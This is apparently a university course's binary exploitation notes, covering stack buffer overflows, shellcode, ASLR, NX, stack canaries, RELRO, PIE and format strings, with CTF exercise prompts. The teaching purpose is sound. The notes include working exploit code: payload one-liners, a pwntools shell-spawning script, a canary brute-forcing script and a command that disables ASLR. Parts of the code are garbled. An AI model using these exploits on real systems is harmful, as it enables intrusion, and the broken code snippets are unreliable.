A buffer is any allocated space in memory where data (often user input) can be stored. For example, in the following C program name
would be considered a stack buffer:
#include <stdio.h>\n\nint main() {\n char name[64] = {0};\n read(0, name, 63);\n printf(\"Hello %s\", name);\n return 0;\n}\n
Buffers could also be global variables:
#include <stdio.h>\n\nchar name[64] = {0};\n\nint main() {\n read(0, name, 63);\n printf(\"Hello %s\", name);\n return 0;\n}\n
Or dynamically allocated on the heap:
#include <stdio.h>\n#include <stdlib.h>\n\nint main() {\n char *name = malloc(64);\n memset(name, 0, 64);\n read(0, name, 63);\n printf(\"Hello %s\", name);\n return 0;\n}\n
"},{"location":"CS315/2021/Week%202/#exploits","title":"Exploits","text":"Given that buffers commonly hold user input, mistakes when writing to them could result in attacker controlled data being written outside of the buffer's space.
"},{"location":"CS315/2021/Week%202/#introduction-to-stack","title":"Introduction to Stack","text":"A stack is an abstract data type frequently used in computer science. It has a property that the Last item placed will be the first to be removed from it ( LIFO ) . Several options are defined on the stack , the most important ones are push
and pop
. push
add an element to the top of the stack , and pop
removes elements from the top .
/* The address of memory which is pointed by the Stack Pointer ( sp ) is the top of the stack */\n\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 <\u2500 sp\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n\n : push 0x10 /* sp is incremented and the value is stored at that address */\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \n \u2502 0x10 \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 <\u2500 sp\n\n : push 0x20\n\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n \u2502 0x10 \u2502\n \u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n \u2502 0x20 \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 <\u2500 sp\n\n : pop var /* The value pointed by the sp is removed from the stack and sp is decremented */\n\n \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \n \u2502 0x10 \u2502\n \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 <\u2500 sp\n
Modern computers are designed with the need of high-level languages in mind. The most important technique for structuring programs introduced by high-level languages is the function. From one point of view, a function call alters the flow of control just as a jump does, but unlike a jump, when finished performing its task, a function returns control to the statement or instruction following the call. This high-level abstraction is implemented with the help of the stack.
The stack is also used to allocate local variables , to pass parameters to the functions, and to store the information needed to return to caller function after the execution of the function gets over.
The stack pointer is a special register which will always point to the top of the stack , in x86-32 bit this register is called esp
.The area allocated on the stack for a function is called it's stack frame . and the registers ebp
and esp
(in x86-32 bit system )are used to specify the boundaries of the stack frame . The ebp
will point to the staring of the stack frame of the current function and the esp
register will point to the bottom.
A Buffer Overflow is a vulnerability in which data can be written which exceeds the allocated space, allowing an attacker to overwrite other data.
"},{"location":"CS315/2021/Week%202/#stack-buffer-overflow","title":"Stack buffer overflow","text":"The simplest and most common buffer overflow is one where the buffer is on the stack. Let's look at an example.
#include <stdio.h>\n\nint main() {\n int secret = 0xdeadbeef;\n char name[100] = {0};\n read(0, name, 0x100);\n if (secret == 0x1337) {\n puts(\"Wow! Here's a secret.\");\n } else {\n puts(\"I guess you're not cool enough to see my secret\");\n }\n}\n
There's a tiny mistake in this program which will allow us to see the secret. name
is decimal 100 bytes, however we're reading in hex 100 bytes (=256 decimal bytes)! Let's see how we can use this to our advantage.
If the compiler chose to layout the stack like this:
0xffff006c: 0xf7f7f7f7 // Saved EIP\n 0xffff0068: 0xffff0100 // Saved EBP\n 0xffff0064: 0xdeadbeef // secret\n...\n 0xffff0004: 0x0\nESP -> 0xffff0000: 0x0 // name\n
let's look at what happens when we read in 0x100 bytes of 'A's.
The first decimal 100 bytes are saved properly:
0xffff006c: 0xf7f7f7f7 // Saved EIP\n 0xffff0068: 0xffff0100 // Saved EBP\n 0xffff0064: 0xdeadbeef // secret\n...\n 0xffff0004: 0x41414141\nESP -> 0xffff0000: 0x41414141 // name\n
However when the 101st byte is read in, we see an issue:
0xffff006c: 0xf7f7f7f7 // Saved EIP\n 0xffff0068: 0xffff0100 // Saved EBP\n 0xffff0064: 0xdeadbe41 // secret\n...\n 0xffff0004: 0x41414141\nESP -> 0xffff0000: 0x41414141 // name\n
The least significant byte of secret
has been overwritten! If we follow the next 3 bytes to be read in, we'll see the entirety of secret
is \"clobbered\" with our 'A's
0xffff006c: 0xf7f7f7f7 // Saved EIP\n 0xffff0068: 0xffff0100 // Saved EBP\n 0xffff0064: 0x41414141 // secret\n...\n 0xffff0004: 0x41414141\nESP -> 0xffff0000: 0x41414141 // name\n
The remaining 152 bytes would continue clobbering values up the stack.
"},{"location":"CS315/2021/Week%202/#passing-an-impossible-check","title":"Passing an impossible check","text":"How can we use this to pass the seemingly impossible check in the original program? Well, if we carefully line up our input so that the bytes that overwrite secret
happen to be the bytes that represent 0x1337 in little-endian, we'll see the secret message.
A small Python one-liner will work nicely: python -c \"print 'A'*100 + '\\x31\\x13\\x00\\x00'\"
This will fill the name
buffer with 100 'A's, then overwrite secret
with the 32-bit little-endian encoding of 0x1337.
As discussed on the stack page, the instruction that the current function should jump to when it is done is also saved on the stack (denoted as \"Saved EIP\" in the above stack diagrams). If we can overwrite this, we can control where the program jumps after main
finishes running, giving us the ability to control what the program does entirely.
Usually, the end objective in binary exploitation is to get a shell (often called \"popping a shell\") on the remote computer. The shell provides us with an easy way to run anything we want on the target computer.
Say there happens to be a nice function that does this defined somewhere else in the program that we normally can't get to:
void give_shell() {\n system(\"/bin/sh\");\n}\n
Well with our buffer overflow knowledge, now we can! All we have to do is overwrite the saved EIP on the stack to the address where give_shell
is. Then, when main returns, it will pop that address off of the stack and jump to it, running give_shell
, and giving us our shell.
Assuming give_shell
is at 0x08048fd0, we could use something like this: python -c \"print 'A'*108 + '\\xd0\\x8f\\x04\\x08'\"
We send 108 'A's to overwrite the 100 bytes that is allocated for name
, the 4 bytes for secret
, and the 4 bytes for the saved EBP. Then we simply send the little-endian form of give_shell
's address, and we would get a shell!
This idea is extended on in Return Oriented Programming.
"},{"location":"CS315/2021/Week%202/#overwrite-values-on-stack","title":"Overwrite values on stack","text":"For example, we are given the following code in C language:
#include <stdlib.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <string.h>\n\nint main(int argc, char **argv)\n{\n volatile int modified;\n char buffer[64];\n\n if(argc == 1) {\n errx(1, \"please specify an argument\\n\");\n }\n\n modified = 0;\n strcpy(buffer, argv[1]);\n\n if(modified == 0x61626364) {\n printf(\"you have correctly got the variable to the right value\\n\");\n } else {\n printf(\"Try again, you got 0x%08x\\n\", modified);\n }\n}\n
"},{"location":"CS315/2021/Week%202/#breakdown","title":"Breakdown","text":"So this code :
creates a variable called \u201cmodified\u201d and assigns a buffer of 64 chars to it.
volatile int modified; \nchar buffer[64];\n
Checks if we supplied an argument or not.
if(argc == 1) {\n errx(1, \"please specify an argument\\n\");\n}\n
Sets the value of the \u201cmodified\u201d variable into 0 , then it copies whatever we give it argv[1]
into the buffer of \u201cmodified\u201d.
modified = 0;\nstrcpy(buffer, argv[1]);\n
Then it checks if the variable\u2019s value is 0x61626364
or not
if(modified == 0x61626364) {\n printf(\"you have correctly got the variable to the right value\\n\");\n } else {\n printf(\"Try again, you got 0x%08x\\n\", modified);\n }\n
"},{"location":"CS315/2021/Week%202/#solution","title":"Solution","text":"So it\u2019s similar to Stack0 except we need to set the value of the variable into a specific value which is 0x61626364
in this case. This is the hexadecimal value of \u201cdcba\u201d now keep in mind that when reading hex you read it from right to left not left to right. To slove this our input will be 64 chars then after that the value , let\u2019s try it.
Let\u2019s execute stack1
We get please specify an argument so let\u2019s enter anything.
We get try again you got 0x00000000 , Let\u2019s try to change that by exceeding the buffer and entering any char for example \u201cb\u201d
./stack1 `python -c \"print ('A' * 64 + 'b')\"`\n
And we see that the value changed to 0x00000062 which is the hex value of \u201cb\u201d so our exploit is working, Let\u2019s apply that.
./stack1 `python -c \"print ('A' * 64 + 'dcba')\"`\n
And we did it !
But can we do it in another way ? instead of entering ASCII we can use the hex values and python will translate them.
./stack1 `python -c \"print('A' * 64 + '\\x64\\x63\\x62\\x61')\"`\n
"},{"location":"CS315/2021/Week%202/#shellcode","title":"Shellcode","text":"In real exploits, it's not particularly likely that you will have a win()
function lying around - shellcode is a way to run your own instructions, giving you the ability to run arbitrary commands on the system.
Shellcode is essentially assembly instructions, except we input them into the binary; once we input it, we overwrite the return pointer to hijack code execution and point at our own instructions!
I promise you can trust me but you should never ever run shellcode without knowing what it does. Pwntools is safe and has almost all the shellcode you will ever need.
The reason shellcode is successful is that Von Neumann architecture (the architecture used in most computers today) does not differentiate between data and instructions - it doesn't matter where or what you tell it to run, it will attempt to run it. Therefore, even though our input is data, the computer doesn't know that - and we can use that to our advantage.
Shellcodeshellcode.zip - 3KB
"},{"location":"CS315/2021/Week%202/#disabling-aslr","title":"Disabling ASLR","text":"ASLR is a security technique, and while it is not specifically designed to combat shellcode, it involves randomising certain aspects of memory (we will talk about it in much more detail later). This randomisation can make shellcode exploits like the one we're about to do more less reliable, so we'll be disabling it for now using this.
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space\n
Again, you should never run commands if you don't know what they do
"},{"location":"CS315/2021/Week%202/#finding-the-buffer-in-memory","title":"Finding the Buffer in Memory","text":"Let's debug vuln()
using radare2
and work out where in memory the buffer starts; this is where we want to point the return pointer to.
$ r2 -d -A vuln\n[0xf7fd40b0]> s sym.unsafe ; pdf[...]; var int32_t var_134h @ ebp-0x134[...]\n
This value that gets printed out is a local variable - due to its size, it's fairly likely to be the buffer. Let's set a breakpoint just after gets()
and find the exact address.
[0x08049172]> dcOverflow me<<Found me>> <== This was my inputhit breakpoint at: 80491a8[0x080491a8]> px @ ebp - 0x134- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0xffffcfb4 3c3c 466f 756e 6420 6d65 3e3e 00d1 fcf7 <<Found me>>....\n[...]\n
It appears to be at 0xffffcfd4
; if we run the binary multiple times, it should remain where it is (if it doesn't, make sure ASLR is disabled!).
Now we need to calculate the padding until the return pointer. We'll use the De Bruijn sequence as explained in the previous blog post.
$ ragg2 -P 400 -r<copy this>\n$ r2 -d -A vuln[0xf7fd40b0]> dcOverflow me<<paste here>>[0x73424172]> wopO `dr eip`312\n
The padding is 312 bytes.
"},{"location":"CS315/2021/Week%202/#putting-it-all-together","title":"Putting it all together","text":"In order for the shellcode to be correct, we're going to set context.binary
to our binary; this grabs stuff like the arch, OS and bits and enables pwntools to provide us with working shellcode.
from pwn import *\ncontext.binary = ELF('./vuln')\np = process()\n
We can use just process()
because once context.binary
is set it is assumed to use that process
Now we can use pwntools' awesome shellcode functionality to make it incredibly simple.
payload = asm(shellcraft.sh()) # The shellcode\npayload = payload.ljust(312, b'A') # Padding\npayload += p32(0xffffcfb4) # Address of the Shellcode\n
Yup, that's it. Now let's send it off and use p.interactive()
, which enables us to communicate to the shell.
log.info(p.clean())\np.sendline(payload)\np.interactive()\n
If you're getting an EOFError
, print out the shellcode and try to find it in memory - the stack address may be wrong
$ python3 exploit.py\n[*] 'vuln'\n Arch: i386-32-little\n RELRO: Partial RELRO\n Stack: No canary found\n NX: NX disabled\n PIE: No PIE (0x8048000)\n RWX: Has RWX segments\n[+] Starting local process 'vuln': pid 3606\n[*] Overflow me\n[*] Switching to interactive mode\n$ whoami\nironstone\n$ ls\nexploit.py source.c vuln\n
And it works! Awesome.
"},{"location":"CS315/2021/Week%202/#final-exploit","title":"Final Exploit","text":"from pwn import *\ncontext.binary = ELF('./vuln')\np = process()\npayload = asm(shellcraft.sh())\n# The shellcodepayload = payload.ljust(312, b'A')\n# Paddingpayload += p32(0xffffcfb4)\n# Address of the Shellcode\nlog.info(p.clean())\np.sendline(payload)\np.interactive()\n
"},{"location":"CS315/2021/Week%202/#find-shellcode-online","title":"Find Shellcode Online","text":"There are some online resources for shellcode. Sometimes the program runs input check that some characters are filtered. Using online database or pwntool's shellcode generator are both fine.
Shellcode database: http://shell-storm.org/shellcode/
According to the different CPU architecture and operating system, you may need different shellcode.
"},{"location":"CS315/2021/Week%202/#exercise","title":"Exercise","text":""},{"location":"CS315/2021/Week%202/#5-pt-smash-the-stack","title":"(5 pt) Smash the stack","text":"After three days of staying up to finish deadline, you feel extremely tired. Wanna to buy some coffee, you step out room and walking to the store. Tired, exhausted, and thinking about the difficult challenge, without seeing the truck that rushing directly to you...
When light appears, a goddess whos so beautiful standing in front of you, said, \"Now, you are selected to re-born in the fantasy world.\"
\"Help us to fight dragon the world destroyer, and save this world plz!\" Said the goddess. \"You have ONE chance to make a vow, and I'll make it true.\"
\"By the way, if you put something that I can't handle, I'll give you a flag
!\"
nc ali.infury.org 10001
goddess
goddess.c
Hack the goddess and find flag. Flag format: flag{***}
Because of the goddess got stuck when processing, so you finally didn't get any special power. After fighting for days, you reach the \"end castle\" and ready to terminate \"dragon the destroyer\" by yourself.
\"You, a mere human. How dare you to challenge me!\" Said the dragon, who has indestructible scale and powerful skin that resists to all magic.
\"Only using the ancient legendary weapons that you can hurt me. However, those powers are unreachable and you can't assign value to them.\"
\"Now, what's your last word?\"
nc ali.infury.org 10002
dragon
dragon.c
Fight the dragon and find flag. Flag format: flag{***}
The dragon fell down into dust. You become the hero of the fantasy world. However, you still want to return home.
\"Only the God can leave this world.\" Said the wiser, \"that dragon is the most powerful creature and the most close to the God. Maybe... Only maybe... There is only one way.\"
\"Grab the dragon's egg, use it to caste the most powerful wish magic. You have a chance to say something to the world tree.\"
\"However, you may only use characters no smaller than 32, no larger than 126 in ASCII order. May the bless be with you!\"
The end of journey is arriving.
You are filled with determination.
nc ali.infury.org 10003
world
world.c
Become the God and find the flag. Flag format: flag{***}
According to the @CTF101: https://ctf101.org/
"},{"location":"CS315/2021/Week%203/#binary-exploitation","title":"Binary Exploitation","text":"Binaries, or executables, are machine code for a computer to execute. For the most part, the binaries that you will face in CTFs are Linux ELF files or the occasional windows executable. Binary Exploitation is a broad topic within Cyber Security which really comes down to finding a vulnerability in the program and exploiting it to gain control of a shell or modifying the program's functions.
Common topics addressed by Binary Exploitation or 'pwn' challenges include:
In computer architecture, the stack is a hardware manifestation of the stack data structure (a Last In, First Out queue).
In x86, the stack is simply an area in RAM that was chosen to be the stack - there is no special hardware to store stack contents. The esp
/rsp
register holds the address in memory where the bottom of the stack resides. When something is push
ed to the stack, esp
decrements by 4 (or 8 on 64-bit x86), and the value that was push
ed is stored at that location in memory. Likewise, when a pop
instruction is executed, the value at esp
is retrieved (i.e. esp
is dereferenced), and esp
is then incremented by 4 (or 8).
N.B. The stack \"grows\" down to lower memory addresses!
Conventionally, ebp
/rbp
contains the address of the top of the current stack frame, and so sometimes local variables are referenced as an offset relative to ebp
rather than an offset to esp
. A stack frame is essentially just the space used on the stack by a given function.
The stack is primarily used for a few things:
Let's see what the stack looks like right after say_hi
has been called in this 32-bit x86 C program:
#include <stdio.h>\n\nvoid say_hi(const char * name) {\n printf(\"Hello %s!\\n\", name);\n}\n\nint main(int argc, char ** argv) {\n char * name;\n if (argc != 2) {\n return 1;\n }\n name = argv[1];\n say_hi(name);\n return 0;\n}\n
And the relevant assembly:
0804840b <say_hi>:\n 804840b: 55 push ebp\n 804840c: 89 e5 mov ebp,esp\n 804840e: 83 ec 08 sub esp,0x8\n 8048411: 83 ec 08 sub esp,0x8\n 8048414: ff 75 08 push DWORD PTR [ebp+0x8]\n 8048417: 68 f0 84 04 08 push 0x80484f0\n 804841c: e8 bf fe ff ff call 80482e0 <printf@plt>\n 8048421: 83 c4 10 add esp,0x10\n 8048424: 90 nop\n 8048425: c9 leave\n 8048426: c3 ret\n\n08048427 <main>:\n 8048427: 8d 4c 24 04 lea ecx,[esp+0x4]\n 804842b: 83 e4 f0 and esp,0xfffffff0\n 804842e: ff 71 fc push DWORD PTR [ecx-0x4]\n 8048431: 55 push ebp\n 8048432: 89 e5 mov ebp,esp\n 8048434: 51 push ecx\n 8048435: 83 ec 14 sub esp,0x14\n 8048438: 89 c8 mov eax,ecx\n 804843a: 83 38 02 cmp DWORD PTR [eax],0x2\n 804843d: 74 07 je 8048446 <main+0x1f>\n 804843f: b8 01 00 00 00 mov eax,0x1\n 8048444: eb 1c jmp 8048462 <main+0x3b>\n 8048446: 8b 40 04 mov eax,DWORD PTR [eax+0x4]\n 8048449: 8b 40 04 mov eax,DWORD PTR [eax+0x4]\n 804844c: 89 45 f4 mov DWORD PTR [ebp-0xc],eax\n 804844f: 83 ec 0c sub esp,0xc\n 8048452: ff 75 f4 push DWORD PTR [ebp-0xc]\n 8048455: e8 b1 ff ff ff call 804840b <say_hi>\n 804845a: 83 c4 10 add esp,0x10\n 804845d: b8 00 00 00 00 mov eax,0x0\n 8048462: 8b 4d fc mov ecx,DWORD PTR [ebp-0x4]\n 8048465: c9 leave\n 8048466: 8d 61 fc lea esp,[ecx-0x4]\n 8048469: c3 ret\n
Skipping over the bulk of main
, you'll see that at 0x8048452
main
's name
local is pushed to the stack because it's the first argument to say_hi
. Then, a call
instruction is executed. call
instructions first push the current instruction pointer to the stack, then jump to their destination. So when the processor begins executing say_hi
at 0x0804840b
, the stack looks like this:
EIP = 0x0804840b (push ebp)\nESP = 0xffff0000\nEBP = 0xffff002c\n\n 0xffff0004: 0xffffa0a0 // say_hi argument 1\nESP -> 0xffff0000: 0x0804845a // Return address for say_hi\n
The first thing say_hi
does is save the current ebp
so that when it returns, ebp
is back where main
expects it to be. The stack now looks like this:
EIP = 0x0804840c (mov ebp, esp)\nESP = 0xfffefffc\nEBP = 0xffff002c\n\n 0xffff0004: 0xffffa0a0 // say_hi argument 1\n 0xffff0000: 0x0804845a // Return address for say_hi\nESP -> 0xfffefffc: 0xffff002c // Saved EBP\n
Again, note how esp
gets smaller when values are pushed to the stack.
Next, the current esp
is saved into ebp
, marking the top of the new stack frame.
EIP = 0x0804840e (sub esp, 0x8)\nESP = 0xfffefffc\nEBP = 0xfffefffc\n\n 0xffff0004: 0xffffa0a0 // say_hi argument 1\n 0xffff0000: 0x0804845a // Return address for say_hi\nESP, EBP -> 0xfffefffc: 0xffff002c // Saved EBP\n
Then, the stack is \"grown\" to accommodate local variables inside say_hi
.
EIP = 0x08048414 (push [ebp + 0x8])\nESP = 0xfffeffec\nEBP = 0xfffefffc\n\n 0xffff0004: 0xffffa0a0 // say_hi argument 1\n 0xffff0000: 0x0804845a // Return address for say_hi\nEBP -> 0xfffefffc: 0xffff002c // Saved EBP\n 0xfffefff8: UNDEFINED\n 0xfffefff4: UNDEFINED\n 0xfffefff0: UNDEFINED\nESP -> 0xfffefffc: UNDEFINED\n
NOTE: stack space is not implictly cleared!
Now, the 2 arguments to printf
are pushed in reverse order.
EIP = 0x0804841c (call printf@plt)\nESP = 0xfffeffe4\nEBP = 0xfffefffc\n\n 0xffff0004: 0xffffa0a0 // say_hi argument 1\n 0xffff0000: 0x0804845a // Return address for say_hi\nEBP -> 0xfffefffc: 0xffff002c // Saved EBP\n 0xfffefff8: UNDEFINED\n 0xfffefff4: UNDEFINED\n 0xfffefff0: UNDEFINED\n 0xfffeffec: UNDEFINED\n 0xfffeffe8: 0xffffa0a0 // printf argument 2\nESP -> 0xfffeffe4: 0x080484f0 // printf argument 1\n
Finally, printf
is called, which pushes the address of the next instruction to execute.
EIP = 0x080482e0\nESP = 0xfffeffe4\nEBP = 0xfffefffc\n\n 0xffff0004: 0xffffa0a0 // say_hi argument 1\n 0xffff0000: 0x0804845a // Return address for say_hi\nEBP -> 0xfffefffc: 0xffff002c // Saved EBP\n 0xfffefff8: UNDEFINED\n 0xfffefff4: UNDEFINED\n 0xfffefff0: UNDEFINED\n 0xfffeffec: UNDEFINED\n 0xfffeffe8: 0xffffa0a0 // printf argument 2\n 0xfffeffe4: 0x080484f0 // printf argument 1\nESP -> 0xfffeffe0: 0x08048421 // Return address for printf\n
Once printf
has returned, the leave
instruction moves ebp
into esp
, and pops the saved EBP.
EIP = 0x08048426 (ret)\nESP = 0xfffefffc\nEBP = 0xffff002c\n\n 0xffff0004: 0xffffa0a0 // say_hi argument 1\nESP -> 0xffff0000: 0x0804845a // Return address for say_hi\n
And finally, ret
pops the saved instruction pointer into eip
which causes the program to return to main with the same esp
, ebp
, and stack contents as when say_hi
was initially called.
EIP = 0x0804845a (add esp, 0x10)\nESP = 0xffff0000\nEBP = 0xffff002c\n\nESP -> 0xffff0004: 0xffffa0a0 // say_hi argument 1\n
"},{"location":"CS315/2021/Week%203/#calling-conventions","title":"Calling Conventions","text":"To be able to call functions, there needs to be an agreed-upon way to pass arguments. If a program is entirely self-contained in a binary, the compiler would be free to decide the calling convention. However in reality, shared libraries are used so that common code (e.g. libc) can be stored once and dynamically linked in to programs that need it, reducing program size.
In Linux binaries, there are really only two commonly used calling conventions: cdecl for 32-bit binaries, and SysV for 64-bit
"},{"location":"CS315/2021/Week%203/#cdecl","title":"cdecl","text":"In 32-bit binaries on Linux, function arguments are passed in on the stack in reverse order. A function like this:
int add(int a, int b, int c) {\n return a + b + c;\n}\n
would be invoked by pushing c
, then b
, then a
.
For 64-bit binaries, function arguments are first passed in certain registers:
then any leftover arguments are pushed onto the stack in reverse order, as in cdecl.
"},{"location":"CS315/2021/Week%203/#other-conventions","title":"Other Conventions","text":"Any method of passing arguments could be used as long as the compiler is aware of what the convention is. As a result, there have been many calling conventions in the past that aren't used frequently anymore. See Wikipedia for a comprehensive list.
"},{"location":"CS315/2021/Week%203/#binary-security","title":"Binary Security","text":"Binary Security is using tools and methods in order to secure programs from being manipulated and exploited. This tools are not infallible, but when used together and implemented properly, they can raise the difficulty of exploitation greatly.
"},{"location":"CS315/2021/Week%203/#no-execute-nx-bit","title":"No eXecute (NX Bit)","text":"The No eXecute or the NX bit (also known as Data Execution Prevention or DEP) marks certain areas of the program as not executable, meaning that stored input or data cannot be executed as code. This is significant because it prevents attackers from being able to jump to custom shellcode that they've stored on the stack or in a global variable.
"},{"location":"CS315/2021/Week%203/#checking-for-nx","title":"Checking for NX","text":"You can either use pwntools' checksec
or rabin2
.
$ checksec vuln\n[*] 'vuln'\n Arch: i386-32-little\n RELRO: Partial RELRO\n Stack: No canary found\n NX: NX disabled\n PIE: No PIE (0x8048000)\n RWX: Has RWX segments\n
$ rabin2 -I vuln\n[...]\nnx false\n[...]\n
"},{"location":"CS315/2021/Week%203/#address-space-layout-randomization-aslr","title":"Address Space Layout Randomization (ASLR)","text":"Address Space Layout Randomization (or ASLR) is the randomization of the place in memory where the program, shared libraries, the stack, and the heap are. This makes can make it harder for an attacker to exploit a service, as knowledge about where the stack, heap, or libc can't be re-used between program launches. This is a partially effective way of preventing an attacker from jumping to, for example, libc without a leak.
Typically, only the stack, heap, and shared libraries are ASLR enabled. It is still somewhat rare for the main program to have ASLR enabled, though it is being seen more frequently and is slowly becoming the default.
"},{"location":"CS315/2021/Week%203/#stack-canaries","title":"Stack Canaries","text":"Stack Canaries are a secret value placed on the stack which changes every time the program is started. Prior to a function return, the stack canary is checked and if it appears to be modified, the program exits immeadiately.
"},{"location":"CS315/2021/Week%203/#bypassing-stack-canaries","title":"Bypassing Stack Canaries","text":"Stack Canaries seem like a clear cut way to mitigate any stack smashing as it is fairly impossible to just guess a random 64-bit value. However, leaking the address and bruteforcing the canary are two methods which would allow us to get through the canary check.
"},{"location":"CS315/2021/Week%203/#stack-canary-leaking","title":"Stack Canary Leaking","text":"If we can read the data in the stack canary, we can send it back to the program later because the canary stays the same throughout execution. However Linux makes this slightly tricky by making the first byte of the stack canary a NULL, meaning that string functions will stop when they hit it. A method around this would be to partially overwrite and then put the NULL back or find a way to leak bytes at an arbitrary stack offset.
A few situations where you might be able to leak a canary:
The canary is determined when the program starts up for the first time which means that if the program forks, it keeps the same stack cookie in the child process. This means that if the input that can overwrite the canary is sent to the child, we can use whether it crashes as an oracle and brute-force 1 byte at a time!
This method can be used on fork-and-accept servers where connections are spun off to child processes, but only under certain conditions such as when the input accepted by the program does not append a NULL byte (read or recv).
Buffer (N Bytes) ?? ?? ?? ?? ?? ?? ?? ?? RBP RIPFill the buffer N Bytes + 0x00 results in no crash
Buffer (N Bytes) 00 ?? ?? ?? ?? ?? ?? ?? RBP RIPFill the buffer N Bytes + 0x00 + 0x00 results in a crash
N Bytes + 0x00 + 0x01 results in a crash
N Bytes + 0x00 + 0x02 results in a crash
...
N Bytes + 0x00 + 0x51 results in no crash
Buffer (N Bytes) 00 51 ?? ?? ?? ?? ?? ?? RBP RIPRepeat this bruteforcing process for 6 more bytes...
Buffer (N Bytes) 00 51 FE 0A 31 D2 7B 3C RBP RIPNow that we have the stack cookie, we can overwrite the RIP register and take control of the program!
"},{"location":"CS315/2021/Week%203/#relocation-read-only-relro","title":"Relocation Read-Only (RELRO)","text":"Relocation Read-Only (or RELRO) is a security measure which makes some binary sections read-only.
There are two RELRO \"modes\": partial and full.
"},{"location":"CS315/2021/Week%203/#partial-relro","title":"Partial RELRO","text":"Partial RELRO is the default setting in GCC, and nearly all binaries you will see have at least partial RELRO.
From an attackers point-of-view, partial RELRO makes almost no difference, other than it forces the GOT to come before the BSS in memory, eliminating the risk of a buffer overflows on a global variable overwriting GOT entries.
"},{"location":"CS315/2021/Week%203/#full-relro","title":"Full RELRO","text":"Full RELRO makes the entire GOT read-only which removes the ability to perform a \"GOT overwrite\" attack, where the GOT address of a function is overwritten with the location of another function or a ROP gadget an attacker wants to run.
Full RELRO is not a default compiler setting as it can greatly increase program startup time since all symbols must be resolved before the program is started. In large programs with thousands of symbols that need to be linked, this could cause a noticable delay in startup time.
"},{"location":"CS315/2021/Week%203/#bypassing-canary-pie","title":"Bypassing Canary & PIE","text":"If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.
"},{"location":"CS315/2021/Week%203/#canary","title":"Canary","text":"The best way to bypass a simple canary is if the binary is a program forking child processes every time you establish a new connection with it (network service), because every time you connect to it the same canary will be used.
Then, the best way to bypass the canary is just to brute-force it char by char, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function brute-forces an 8 Bytes canary (x64) and distinguish between a correct guessed byte and a bad byte just checking if a response is sent back by the server (another way in other situation could be using a try/except):
from pwn import *\n\ndef connect():\n r = remote(\"localhost\", 8788)\n\ndef get_bf(base):\n canary = \"\"\n guess = 0x0\n base += canary\n\n while len(canary) < 8:\n while guess != 0xff:\n r = connect()\n\n r.recvuntil(\"Username: \")\n r.send(base + chr(guess))\n\n if \"SOME OUTPUT\" in r.clean():\n print \"Guessed correct byte:\", format(guess, '02x')\n canary += chr(guess)\n base += chr(guess)\n guess = 0x0\n r.close()\n break\n else:\n guess += 1\n r.close()\n\n print \"FOUND:\\\\x\" + '\\\\x'.join(\"{:02x}\".format(ord(c)) for c in canary)\n return base\n\ncanary_offset = 1176\nbase = \"A\" * canary_offset\nprint(\"Brute-Forcing canary\")\nbase_canary = get_bf(base) #Get yunk data + canary\nCANARY = u64(base_can[len(base_canary)-8:]) #Get the canary\n
"},{"location":"CS315/2021/Week%203/#pie","title":"PIE","text":"In order to bypass the PIE you need to leak some address. And if the binary is not leaking any addresses the best to do it is to brute-force the RBP and RIP saved in the stack in the vulnerable function. For example, if a binary is protected using both a canary and PIE, you can start brute-forcing the canary, then the next 8 Bytes (x64) will be the saved RBP and the next 8 Bytes will be the saved RIP.
To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The same function as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:
print(\"Brute-Forcing RBP\")\nbase_canary_rbp = get_bf(base_canary)\nRBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])\nprint(\"Brute-Forcing RIP\")\nbase_canary_rbp_rip = get_bf(base_canary_rbp)\nRIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])\n
"},{"location":"CS315/2021/Week%203/#get-base-address","title":"Get base address","text":"The last thing you need to defeat the PIE is to calculate useful addresses from the leaked addresses: the RBP and the RIP.
From the RBP you can calculate where are you writing your shell in the stack. This can be very useful to know where are you going to write the string \"/bin/sh\\x00\" inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a breakpoint after leaking the RBP an check where is your shellcode located, then, you can calculate the distance between the shellcode and the RBP:
INI_SHELLCODE = RBP - 1152\n
From the RIP you can calculate the base address of the PIE binary which is what you are going to need to create a valid ROP chain. To calculate the base address just do objdump -d vunbinary
and check the disassemble latest addresses:
In that example you can see that only 1 Byte and a half is needed to locate all the code, then, the base address in this situation will be the leaked RIP but finishing on \"000\". For example if you leaked 0x562002970ecf the base address is 0x562002970**000
elf.address = RIP - (RIP & 0xfff)\n
"},{"location":"CS315/2021/Week%203/#format-string-vulnerability","title":"Format String Vulnerability","text":"A format string vulnerability is a bug where user input is passed as the format argument to printf
, scanf
, or another function in that family.
The format argument has many different specifies which could allow an attacker to leak data if they control the format argument to printf
. Since printf
and similar are variadic functions, they will continue popping data off of the stack according to the format.
For example, if we can make the format argument \"%x.%x.%x.%x\", printf
will pop off four stack values and print them in hexadecimal, potentially leaking sensitive information.
printf
can also index to an arbitrary \"argument\" with the following syntax: \"%n$x\" (where n
is the decimal index of the argument you want).
